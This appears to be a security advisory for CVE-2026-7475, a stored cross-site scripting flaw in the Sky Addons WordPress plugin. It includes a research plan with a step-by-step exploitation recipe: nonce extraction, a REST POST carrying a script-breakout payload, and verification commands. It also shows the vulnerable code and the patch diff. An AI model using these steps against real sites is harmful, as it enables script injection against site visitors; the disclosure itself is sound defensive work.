CVE-2026-7475

Sky Addons <= 3.3.2 - Authenticated (Author+) Stored Cross-Site Scripting via Custom Script

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
3.3.3
Patched in
1d
Time to patch

Description

The Sky Addons plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the `sky-custom-scripts` custom post type in all versions up to, and including, 3.3.2. This is due to the custom post type being registered with `capability_type => 'post'` and `show_in_rest => true`, combined with insufficient input sanitization on the `sky_script_content` meta field and lack of output escaping when rendering scripts on the frontend. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts via the REST API that execute on every frontend page for all site visitors.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=3.3.2
PublishedMay 7, 2026
Last updatedMay 8, 2026
Affected pluginsky-elementor-addons

What Changed in the Fix

Changes introduced in v3.3.3

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Research Plan: CVE-2026-7475 - Sky Addons Stored XSS via Custom Scripts ## 1. Vulnerability Summary The **Sky Addons** plugin (<= 3.3.2) introduces a custom post type `sky-custom-scripts` designed to allow users to inject custom JS/CSS into the site. The vulnerability exists because this post typ…

Show full research plan

Research Plan: CVE-2026-7475 - Sky Addons Stored XSS via Custom Scripts

1. Vulnerability Summary

The Sky Addons plugin (<= 3.3.2) introduces a custom post type sky-custom-scripts designed to allow users to inject custom JS/CSS into the site. The vulnerability exists because this post type is registered with 'show_in_rest' => true and 'capability_type' => 'post', allowing users with the **Author** role (who possess the edit_posts capability) to create and modify these scripts via the WordPress REST API.

The plugin fails to sanitize the sky_script_content meta field during input via the REST API and fails to escape the content when rendering it on the frontend. Since these scripts are intended to be global, a malicious Author can inject arbitrary JavaScript that executes for all site visitors, including administrators.

2. Attack Vector Analysis

  • REST API Endpoint: /wp-json/wp/v2/sky-custom-scripts
  • HTTP Method: POST
  • Vulnerable Parameter: meta[sky_script_content]
  • Required Authentication: Author-level (or higher) authenticated user.
  • Preconditions: The plugin must be active. No specific widget needs to be placed, as the "Custom Scripts" feature is a global "Theme Builder" style feature.

3. Code Flow

  1. Registration: In includes/custom-scripts/class-custom-scripts-data.php, the function register_post_type() registers sky-custom-scripts. Crucially, it sets 'capability_type' => 'post' and 'show_in_rest' => true.
  2. Meta Registration: In the same file, register_meta_fields() registers sky_script_content with 'show_in_rest' => true.
  3. Data Insertion: The REST API handles the request. The plugin hooks rest_pre_insert_sky-custom-scripts via the rest_pre_insert() method.
  4. Insecure Update: Inside rest_pre_insert(), the code iterates through the meta array from the request:
    foreach ( $params['meta'] as $meta_key => $meta_value ) {
        update_post_meta( $post_id, $meta_key, $meta_value );
    }
    
    There is no sanitize_text_field() or wp_kses() applied to $meta_value.
  5. Rendering (Sink): While the rendering code is likely in a frontend-specific file (not fully provided), the description confirms the content of sky_script_content is echoed directly onto the frontend (likely hooked to wp_head or wp_footer) without escaping.

4. Nonce Acquisition Strategy

To interact with the WordPress REST API using cookie authentication, a _wpnonce (specifically the wp_rest nonce) is required in the X-WP-Nonce header.

  1. Authentication: Log in as an Author user.
  2. Extraction: Navigate to the WordPress Dashboard (/wp-admin/).
  3. Execution: Use browser_eval to extract the REST nonce from the standard WordPress global variable:
    // WordPress typically localizes the REST nonce in the 'wpApiSettings' object
    window.wpApiSettings?.nonce
    
  4. Alternative: If wpApiSettings is not found, the nonce is often present in the wp-admin source code inside a script tag: var wpApiSettings = {"root":"...","nonce":"[NONCE_VALUE]"}.

5. Exploitation Strategy

  1. Login: Authenticate as an Author user.
  2. Get Nonce: Extract the wp_rest nonce using the strategy in Section 4.
  3. Create Malicious Script: Send a POST request to the REST API to create a new sky-custom-scripts entry.
    • Tool: http_request
    • URL: http://[TARGET]/wp-json/wp/v2/sky-custom-scripts
    • Headers:
      • Content-Type: application/json
      • X-WP-Nonce: [EXTRACTED_NONCE]
    • Body:
      {
        "title": "Exploit Script",
        "status": "publish",
        "meta": {
          "sky_script_type": "js",
          "sky_script_content": "</script><script>alert('XSS_SUCCESS_CVE_2026_7475')</script>",
          "sky_script_position": "header",
          "sky_script_status": "enabled"
        }
      }
      
    • Note: The </script> prefix ensures we break out of any potential existing script tags if the plugin wraps the content.
  4. Trigger: Visit the site homepage (unauthenticated or as Admin).

6. Test Data Setup

  1. Plugin Installation: Ensure sky-elementor-addons (v3.3.2) is installed and active.
  2. User Creation: Create a user with the Author role.
    wp user create attacker attacker@example.com --role=author --user_pass=password123
    

7. Expected Results

  • The REST API should return a 201 Created status code with the JSON representation of the new post.
  • The response should contain the injected payload in the meta.sky_script_content field (verified via the rest_prepare filter in the source).
  • When navigating to the site frontend, the browser should execute the JavaScript and display an alert box.

8. Verification Steps

  1. Check Database: Use WP-CLI to verify the meta value was stored raw.
    wp post list --post_type=sky-custom-scripts --format=ids | xargs -I % wp post meta get % sky_script_content
    
  2. Frontend Inspection: Use http_request to fetch the homepage and grep for the payload.
    # Look for the payload in the HTML source
    curl -s http://localhost:8080/ | grep "XSS_SUCCESS_CVE_2026_7475"
    

9. Alternative Approaches

  • Payload Variation: If the plugin wraps the input in <script> tags, the payload should be: alert('XSS'). If it doesn't, use <script>alert('XSS')</script>. The provided source suggests sky_script_type is a choice, so it likely determines whether the plugin adds tags.
  • Update Existing: If creation is restricted for some reason, use GET /wp-json/wp/v2/sky-custom-scripts to find an existing ID, then POST /wp-json/wp/v2/sky-custom-scripts/[ID] to update it.
  • Bypassing meta registration: If the REST API meta parameter is blocked, the rest_pre_insert hook in the plugin's code specifically manually extracts and updates meta, which might bypass standard REST API meta registration logic.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Sky Addons plugin for WordPress (versions <= 3.3.2) contains a Stored Cross-Site Scripting (XSS) vulnerability. Authenticated users with Author-level permissions or higher can inject malicious JavaScript into the 'sky_script_content' meta field via the REST API, which is then rendered unsanitized on every frontend page of the site.

Vulnerable Code

/**
 * includes/custom-scripts/class-custom-scripts-data.php
 * Line 38: Metadata is updated from the request object without any sanitization or authorization checks.
 */
public function rest_pre_insert( $prepared_post, $request ) {
	// Get the meta data from request
	$params = $request->get_params();

	if ( isset( $params['meta'] ) && is_array( $params['meta'] ) ) {
		// If we have a post ID (update), save meta immediately
		if ( isset( $params['id'] ) ) {
			$post_id = $params['id'];
			foreach ( $params['meta'] as $meta_key => $meta_value ) {
				update_post_meta( $post_id, $meta_key, $meta_value );
			}
		} else {
			// For new posts, we'll handle this in rest_insert action
			add_action( 'rest_insert_sky-custom-scripts', function ( $post, $request ) use ( $params ) {
				foreach ( $params['meta'] as $meta_key => $meta_value ) {
					update_post_meta( $post->ID, $meta_key, $meta_value );
				}
			}, 10, 2 );
		}
	}

	return $prepared_post;
}

---

/**
 * includes/custom-scripts/class-custom-scripts-data.php
 * Line 128: The post type is registered using 'capability_type' => 'post', making it accessible to Authors via show_in_rest.
 */
'capability_type'     => 'post',
'show_in_rest'        => true,

---

/**
 * includes/custom-scripts/class-custom-scripts-data.php
 * Line 149: Meta fields are exposed to the REST API without an 'auth_callback' restricting access to administrators.
 */
register_post_meta( 'sky-custom-scripts', 'sky_script_content', [
	'show_in_rest' => true,
	'single'       => true,
	'type'         => 'string',
	'default'      => '',
]);

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/sky-elementor-addons/3.3.2/includes/custom-scripts/class-custom-scripts-data.php /home/deploy/wp-safety.org/data/plugin-versions/sky-elementor-addons/3.3.3/includes/custom-scripts/class-custom-scripts-data.php
--- /home/deploy/wp-safety.org/data/plugin-versions/sky-elementor-addons/3.3.2/includes/custom-scripts/class-custom-scripts-data.php	2026-03-01 19:30:32.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/sky-elementor-addons/3.3.3/includes/custom-scripts/class-custom-scripts-data.php	2026-05-03 18:35:46.000000000 +0000
@@ -35,6 +35,14 @@
 	 * Filter data before inserting via REST API
 	 */
 	public function rest_pre_insert( $prepared_post, $request ) {
+		if ( ! current_user_can( 'manage_options' ) ) {
+			return new \WP_Error(
+				'rest_forbidden',
+				__( 'You do not have permission to manage custom scripts.', 'sky-elementor-addons' ),
+				[ 'status' => 403 ]
+			);
+		}
+
 		// Get the meta data from request
 		$params = $request->get_params();
 
@@ -126,6 +134,20 @@
 			'rewrite'             => false,
 			'show_in_nav_menus'   => false,
 			'capability_type'     => 'post',
+			'map_meta_cap'        => true,
+			'capabilities'        => [
+				'create_posts'           => 'manage_options',
+				'edit_posts'             => 'manage_options',
+				'edit_others_posts'      => 'manage_options',
+				'publish_posts'          => 'manage_options',
+				'read_private_posts'     => 'manage_options',
+				'delete_posts'           => 'manage_options',
+				'delete_private_posts'   => 'manage_options',
+				'delete_published_posts' => 'manage_options',
+				'delete_others_posts'    => 'manage_options',
+				'edit_private_posts'     => 'manage_options',
+				'edit_published_posts'   => 'manage_options',
+			],
 			'show_in_rest'        => true,
 		];
 
@@ -139,52 +161,62 @@
 	 * Register all meta fields for custom scripts
 	 */
 	private function register_meta_fields() {
+		$admin_only = function () {
+			return current_user_can( 'manage_options' );
+		};
+
 		// Script type (css or js)
 		register_post_meta( 'sky-custom-scripts', 'sky_script_type', [
-			'show_in_rest' => true,
-			'single'       => true,
-			'type'         => 'string',
-			'default'      => 'js',
+			'show_in_rest'  => true,
+			'single'        => true,
+			'type'          => 'string',
+			'default'       => 'js',
+			'auth_callback' => $admin_only,
 		]);
 
 		// Script content
 		register_post_meta( 'sky-custom-scripts', 'sky_script_content', [
-			'show_in_rest' => true,
-			'single'       => true,
-			'type'         => 'string',
-			'default'      => '',
+			'show_in_rest'  => true,
+			'single'        => true,
+			'type'          => 'string',
+			'default'       => '',
+			'auth_callback' => $admin_only,
 		]);

Exploit Outline

An attacker authenticates as an Author-level user and retrieves a WordPress REST API nonce from the dashboard. The attacker then submits a POST request to the '/wp-json/wp/v2/sky-custom-scripts' endpoint, using the nonce in the 'X-WP-Nonce' header. The request payload includes a 'meta' object where 'sky_script_content' contains a malicious JavaScript string. Because the plugin manually updates post metadata via the 'rest_pre_insert' hook without sanitizing the input or verifying that the user has administrative privileges, the script is saved and automatically executed in the browser of any user visiting the site's frontend.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.